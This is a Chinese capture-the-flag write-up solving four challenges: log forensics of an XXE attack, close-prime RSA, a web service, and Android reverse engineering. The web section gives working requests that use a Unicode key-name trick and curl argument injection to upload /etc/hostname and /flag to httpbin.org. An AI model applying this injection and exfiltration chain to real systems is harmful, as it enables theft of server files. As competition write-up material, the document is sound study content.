2026数字中国个人赛
日志分析
某电商公司的后台服务器在昨晚凌晨遭遇了疑似自动化扫描和手动渗透攻击。安全团队捕获了当天的 access.log 文件,但面对数万条记录束手无策。作为应急响应专家,你需要分析提供的日志文件,找出攻击者成功利用漏洞的完整链条,并提取出攻击者最终窃取的核心数据(Flag)。
结论
Flag 是 flag{8cb249d0-825b-7419-845b-1f29e00d53f4}。
攻击链
时间点是 2026-03-23 13:19 UTC。
先是自动化扫描:10.55.22.19 在 12001 (line 12001) 到 12065 (line 12065) 间连续探测 /admin、/.git/config、/backup.zip、/config.php.bak 等路径,UA 混用了 dirb、Nikto、sqlmap、Wget,这是典型目录和敏感文件枚举。
随后进入手工利用:192.168.10.84 用 python-requests/2.25.1 访问登录页 12066 (line 12066),紧接着在 12067 (line 12067) 对 register.php 提交了带 DOCTYPE 和 ENTITY 的 user_xml_format,核心载荷是 file:///flag,说明利用点是 XXE,本地目标文件是 /flag。
取证还原
后续请求把泄露内容拆成多段 base64,伪装成图片名或 img= 参数回收,关键行是:
12068 (line 12068) 12074 (line 12074) 12075 (line 12075) 12076 (line 12076) 12077 (line 12077) 12078 (line 12078) 12079 (line 12079) 12080 (line 12080) 12081 (line 12081) 12082 (line 12082) 12090 (line 12090) 12091 (line 12091) 12092 (line 12092) 12093 (line 12093)。
按时间顺序解码为:
Zmxh -> fla
Z3s4 -> g{8
Y2Iy -> cb2
NDlk -> 49d
MC04 -> 0-8
MjVi -> 25b
LTc0 -> -74
MTkt -> 19-
ODQ1 -> 845
Yi0x -> b-1
ZjI5 -> f29
ZTAw -> e00
ZDUz -> d53
ZjR9 -> f4}
拼接后得到:
flag{8cb249d0-825b-7419-845b-1f29e00d53f4}
近在咫尺
这题利用点是 q = next_prime(p + 0x2B67),所以 p 和 q 非常接近。实际分解出来两者相差 11120,属于典型近质数 RSA,直接用接近平方根的方法就能恢复私钥并解密。
flag{fermat_can_break_close_primes}
CloudPulse
这题是一个前后端分离的 Web 题,附件里有两个核心文件:main.py 和 server.go。前端 /api/probe 会接收 JSON,把键名统一转小写后,强制写入 ops=httpcheck 再转发给后端 /api/monitor。正常看起来只能做一个 HEAD 探测。
真正的突破点在前后端对 JSON 字段名的处理不一致。Flask 这边会把键名做普通 lower(),而 Go 的 encoding/json 在匹配结构体字段时会做 Unicode case folding。于是我们可以构造一个看起来不是 ops、但 Go 仍会当作 Ops 的键,比如 opſ,这里最后一个字符是 ſ。这样前端会保留它,后端解析时它又会覆盖掉前端补进去的 ops=httpcheck,把操作切回危险的 fetch。验证时可以直接请求:
POST /api/probe HTTP/1.1 Host: web-891676eb85.adworld.xctf.org.cn Content-Type: application/json {"target":"http://example.com","ops":"httpcheck","opſ":"fetch"}
如果成功,返回的就不再是 Status: 200 OK 这类摘要,而会变成 example.com 的完整 HTML,说明我们已经进入了后端 performFetch()。
接下来利用 performFetch() 里的参数注入。后端代码会把 target 做 strings.Fields(target) 后直接追加到 curl 参数数组里,因此只要在 URL 后面加空格,就能拼接额外的 curl 参数。题目里虽然过滤了 -o、-O、file:// 等危险字样,但没有过滤 -F。于是可以让 curl 先访问一个合法 URL,再把本地文件作为 multipart 表单上传到外部回显站点。为了先验证链路,我先打了一个无害文件:
{"target":"http://127.0.0.1:8080/health -F x=@/etc/hostname https://httpbin.org/post","ops":"httpcheck","opſ":"fetch"}
返回结果里 files.x 成功出现了主机名,说明参数注入和出网都成立。最后把 /etc/hostname 换成 /flag 即可:
POST /api/probe HTTP/1.1 Host: web-891676eb85.adworld.xctf.org.cn Content-Type: application/json {"target":"http://127.0.0.1:8080/health -F x=@/flag https://httpbin.org/post","ops":"httpcheck","opſ":"fetch"}
响应里可以直接看到:
"files": { "x": "flag{dGCgj4N36wlZ1DiIRhBq6kbJVv8XwtUk}\n" }
所以最终 flag 是:
flag{dGCgj4N36wlZ1DiIRhBq6kbJVv8XwtUk}
SecureVault
成功提取到 flag:
flag{Ant1_Dbg_CBC_Fl4tten3d_M4st3r!}
Master Key: e7ea34917ca596eb5ebb9c66dfdba8dc
解题关键步骤回顾:
- APK 中的
libnative_crypto.so(x86_64) 包含nativeVerifyJNI 函数 - 验证算法为 F = F3(F2(F1(x))):F1=S-box 替换,F2=64 位置换,F3=改进 TEA(XOR 模式,8 半轮)
- INIT_ARRAY 中 3 个初始化函数修改了 S-box、XOR 常量(变为
deadbeefcafebabe)和 TEA 密钥 - 通过 F_inv 反推密钥,再经过 4 轮 SP 密码(cl 每次递增 14)和掩码 XOR 得到 flag

浙公网安备 33010602011771号